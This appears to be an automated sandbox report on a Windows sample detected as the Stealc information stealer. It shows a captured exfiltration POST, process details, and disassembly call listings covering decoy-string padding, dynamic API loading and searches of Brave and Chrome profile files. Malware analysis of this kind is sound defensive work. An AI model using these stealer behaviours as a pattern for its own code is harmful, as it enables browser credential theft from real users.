name="token"86927ca975539af6efedc698a9c06470070390d79a8f09bd6ca079e35af1fa414f897225------CAAAAFBKFIECAAKECGCAContent-Disposition: form-data; name="message"wkkjqaiaxkhb------CAAAAFBKFIECAAKECGCA--
Oct 12, 2024 14:17:14.749133110 CEST	202	IN	HTTP/1.1 200 OK Date: Sat, 12 Oct 2024 12:17:14 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=77 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8

Target ID:	0
Start time:	08:17:01
Start date:	12/10/2024
Path:	C:\Users\user\Desktop\Eae0KTw4m1.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\Eae0KTw4m1.exe"
Imagebase:	0x720000
File size:	314'368 bytes
MD5 hash:	62F90CD0CB366FA5DAA8AAFCDCD16235
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000000.1702244271.0000000000721000.00000080.00000001.01000000.00000003.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000002.1831599975.0000000000721000.00000080.00000001.01000000.00000003.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000002.1832529832.00000000015EE000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	5%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	4.1%
Total number of Nodes:	2000
Total number of Limit Nodes:	40

Executed Functions

Function 007245C0 Relevance: 112.1, APIs: 34, Strings: 30, Instructions: 114
stringmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,007369FB), ref: 007245CC
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,007369FB), ref: 007245D7
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,007369FB), ref: 007245E2
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,007369FB), ref: 007245ED
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,007369FB), ref: 007245F8
GetProcessHeap.KERNEL32(00000000,?,?,0000000F,?,007369FB), ref: 00724607
RtlAllocateHeap.NTDLL(00000000,?,0000000F,?,007369FB), ref: 0072460E
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,007369FB), ref: 0072461C
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,007369FB), ref: 00724627
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,007369FB), ref: 00724632
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,007369FB), ref: 0072463D
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,007369FB), ref: 00724648
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,007369FB), ref: 0072465C
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,007369FB), ref: 00724667
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,007369FB), ref: 00724672
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,007369FB), ref: 0072467D
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,007369FB), ref: 00724688
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 007246B1
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 007246BC
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 007246C7
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 007246D2
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 007246DD
strlen.MSVCRT ref: 007246F0
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 00724718
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 00724723
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 0072472E
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 00724739
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 00724744
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 00724754
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 0072475F
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 0072476A
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 00724775
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 00724780
VirtualProtect.KERNEL32(?,00000004,00000100,00000000), ref: 0072479C

Strings

The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00724713
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 007245DD
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00724657
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00724662
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 0072475A
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00724643
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 007245E8
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 007245D2
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00724622
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00724729
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00724678
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 007245C7
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 007246B7
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00724770
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 0072474F
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00724765
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 0072462D
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00724638
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 0072473F
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 0072477B
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 0072471E
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 007245F3
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 007246AC
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00724617
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 007246C2
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 007246D8
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00724683
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00724734
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 007246CD
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 0072466D

Memory Dump Source

Source File: 00000000.00000002.1831599975.0000000000721000.00000080.00000001.01000000.00000003.sdmp, Offset: 00720000, based on PE: true

Associated: 00000000.00000002.1831561661.0000000000720000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831639049.000000000073E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831674983.000000000074B000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.000000000076A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.000000000077A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000007A5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000007A8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000007AF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000007B2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000007D1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000007DD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.0000000000802000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.000000000080F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.000000000082F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.000000000083B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.000000000083E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000008C5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000008E5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000008EB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.000000000096A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1832186716.000000000097C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_720000_Eae0KTw4m1.jbxd

Yara matches

Similarity

API ID: lstrlen$Heap$AllocateProcessProtectVirtualstrlen
String ID: The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.
API String ID: 2127927946-2218711628
Opcode ID: 4326058b789968ccaccc297c5eae94857aeeee7a9199606df8bbc8bb9db4b7d4
Instruction ID: 45bb36f50d3b596d8bcb5d24c36db6cc84e00fa58bb698de52442172a31d8119
Opcode Fuzzy Hash: 4326058b789968ccaccc297c5eae94857aeeee7a9199606df8bbc8bb9db4b7d4
Instruction Fuzzy Hash: FD41CBB9640604EBE71C9FE4EC8EA5C7B71AB48B07B60C050F502991E1DBFC9501EB3A

Function 00739860 Relevance: 59.7, APIs: 33, Strings: 1, Instructions: 212
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcAddress.KERNEL32(74DD0000,015F2AB8), ref: 007398A1
GetProcAddress.KERNEL32(74DD0000,015F2B00), ref: 007398BA
GetProcAddress.KERNEL32(74DD0000,015F2DA0), ref: 007398D2
GetProcAddress.KERNEL32(74DD0000,015F2C68), ref: 007398EA
GetProcAddress.KERNEL32(74DD0000,015F2BD8), ref: 00739903
GetProcAddress.KERNEL32(74DD0000,015F1498), ref: 0073991B
GetProcAddress.KERNEL32(74DD0000,015EAB90), ref: 00739933
GetProcAddress.KERNEL32(74DD0000,015EACB0), ref: 0073994C
GetProcAddress.KERNEL32(74DD0000,015F2C80), ref: 00739964
GetProcAddress.KERNEL32(74DD0000,015F2D70), ref: 0073997C
GetProcAddress.KERNEL32(74DD0000,015F2B18), ref: 00739995
GetProcAddress.KERNEL32(74DD0000,015F2C38), ref: 007399AD
GetProcAddress.KERNEL32(74DD0000,015EACF0), ref: 007399C5
GetProcAddress.KERNEL32(74DD0000,015F2D28), ref: 007399DE
GetProcAddress.KERNEL32(74DD0000,015F2C98), ref: 007399F6
GetProcAddress.KERNEL32(74DD0000,015EAD10), ref: 00739A0E
GetProcAddress.KERNEL32(74DD0000,015F2B60), ref: 00739A27
GetProcAddress.KERNEL32(74DD0000,015F2D10), ref: 00739A3F
GetProcAddress.KERNEL32(74DD0000,015EAD30), ref: 00739A57
GetProcAddress.KERNEL32(74DD0000,015F2B90), ref: 00739A70
GetProcAddress.KERNEL32(74DD0000,015EAE70), ref: 00739A88
LoadLibraryA.KERNEL32(015F2BA8,?,00736A00), ref: 00739A9A
LoadLibraryA.KERNEL32(015F2CC8,?,00736A00), ref: 00739AAB
LoadLibraryA.KERNEL32(015F2CE0,?,00736A00), ref: 00739ABD
LoadLibraryA.KERNEL32(015F2B30,?,00736A00), ref: 00739ACF
LoadLibraryA.KERNEL32(015F2D40,?,00736A00), ref: 00739AE0
GetProcAddress.KERNEL32(75A70000,015F2BC0), ref: 00739B02
GetProcAddress.KERNEL32(75290000,015F2C20), ref: 00739B23
GetProcAddress.KERNEL32(75290000,015F2C50), ref: 00739B3B
GetProcAddress.KERNEL32(75BD0000,015F3BA0), ref: 00739B5D
GetProcAddress.KERNEL32(75450000,015EAEB0), ref: 00739B7E
GetProcAddress.KERNEL32(76E90000,015F14A8), ref: 00739B9F
GetProcAddress.KERNEL32(76E90000,NtQueryInformationProcess), ref: 00739BB6

Strings

NtQueryInformationProcess, xrefs: 00739BAA

Memory Dump Source

Source File: 00000000.00000002.1831599975.0000000000721000.00000080.00000001.01000000.00000003.sdmp, Offset: 00720000, based on PE: true

Associated: 00000000.00000002.1831561661.0000000000720000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831639049.000000000073E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831674983.000000000074B000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.000000000076A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.000000000077A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000007A5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000007A8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000007AF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000007B2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000007D1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000007DD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.0000000000802000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.000000000080F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.000000000082F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.000000000083B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.000000000083E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000008C5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000008E5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000008EB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.000000000096A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1832186716.000000000097C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_720000_Eae0KTw4m1.jbxd

Yara matches

Similarity

API ID: AddressProc$LibraryLoad
String ID: NtQueryInformationProcess
API String ID: 2238633743-2781105232
Opcode ID: 148773345955bd0931900c2c0aec59537c6a5e27c1ba570f97a9b9675d1bd1c6
Instruction ID: ced0889753fc2c0f23bf0966a021fbb8072cb80b6e2794cf21a23ed46a640ac3
Opcode Fuzzy Hash: 148773345955bd0931900c2c0aec59537c6a5e27c1ba570f97a9b9675d1bd1c6
Instruction Fuzzy Hash: 75A13BB592C2409FD344EFA8EE8896637F9F78C301744851EE605E3264D6B9A841FF62

Function 0072BE70 Relevance: 37.4, APIs: 17, Strings: 4, Instructions: 675
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0073A740: lstrcpy.KERNEL32(t,00000000), ref: 0073A788

Part of subcall function 0073A920: lstrcpy.KERNEL32(00000000,?), ref: 0073A972
Part of subcall function 0073A920: lstrcatA.KERNEL32(00000000), ref: 0073A982

Part of subcall function 0073A9B0: lstrlenA.KERNEL32(?,00741110,?,00000000,00740AEF), ref: 0073A9C5
Part of subcall function 0073A9B0: lstrcpy.KERNEL32(00000000), ref: 0073AA04
Part of subcall function 0073A9B0: lstrcatA.KERNEL32(00000000,00000000), ref: 0073AA12

Part of subcall function 0073A8A0: lstrcpy.KERNEL32(?,t), ref: 0073A905

FindFirstFileA.KERNEL32(00000000,?,00740B32,00740B2B,00000000,?,?,?,007413F4,00740B2A), ref: 0072BEF5
StrCmpCA.SHLWAPI(?,007413F8), ref: 0072BF4D
StrCmpCA.SHLWAPI(?,007413FC), ref: 0072BF63
FindNextFileA.KERNEL32(000000FF,?), ref: 0072C7BF
FindClose.KERNEL32(000000FF), ref: 0072C7D1

Strings

Google Chrome, xrefs: 0072C634
Preferences, xrefs: 0072C11E
\Brave\Preferences, xrefs: 0072C1DB
Brave, xrefs: 0072C102

Memory Dump Source

Source File: 00000000.00000002.1831599975.0000000000721000.00000080.00000001.01000000.00000003.sdmp, Offset: 00720000, based on PE: true

Associated: 00000000.00000002.1831561661.0000000000720000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831639049.000000000073E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831674983.000000000074B000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.000000000076A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.000000000077A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000007A5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000007A8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000007AF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000007B2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000007D1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000007DD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.0000000000802000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.000000000080F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.000000000082F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.000000000083B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.000000000083E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000008C5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000008E5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000008EB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.000000000096A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1832186716.000000000097C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_720000_Eae0KTw4m1.jbxd

Yara matches

Similarity

API ID: lstrcpy$Find$Filelstrcat$CloseFirstNextlstrlen
String ID: Brave$Google Chrome$Preferences$\Brave\Preferences
API String ID: 3334442632-726946144
Opcode ID: 4c93272a6c0b69234229c0542c77fed38d7fa73149b3cdca9ede6b65f601a928
Instruction ID: 55bf882eff4ea19497b96043d49e4003d59409a21a91210d66e37d8626fd2fb1
Opcode Fuzzy Hash: 4c93272a6c0b69234229c0542c77fed38d7fa73149b3cdca9ede6b65f601a928
Instruction Fuzzy Hash: 2E423172910118FBDB14FB60DD9BEED7379AB54300F404568F54AA6182EF38AB49CB92

Function 6C5C35A0 Relevance: 37.0, APIs: 16, Strings: 5, Instructions: 294
stringtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

InitializeCriticalSectionAndSpinCount.KERNEL32(6C64F688,00001000), ref: 6C5C35D5
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_TIMESTAMP_MODE), ref: 6C5C35E0
QueryPerformanceFrequency.KERNEL32(?), ref: 6C5C35FD
_strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,GenuntelineI,0000000C), ref: 6C5C363F
GetSystemTimeAdjustment.KERNEL32(?,?,?), ref: 6C5C369F
__aulldiv.LIBCMT ref: 6C5C36E4
QueryPerformanceCounter.KERNEL32(?), ref: 6C5C3773
EnterCriticalSection.KERNEL32(6C64F688), ref: 6C5C377E
LeaveCriticalSection.KERNEL32(6C64F688), ref: 6C5C37BD
QueryPerformanceCounter.KERNEL32(?), ref: 6C5C37C4
EnterCriticalSection.KERNEL32(6C64F688), ref: 6C5C37CB
LeaveCriticalSection.KERNEL32(6C64F688), ref: 6C5C3801
__aulldiv.LIBCMT ref: 6C5C3883
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,QPC), ref: 6C5C3902
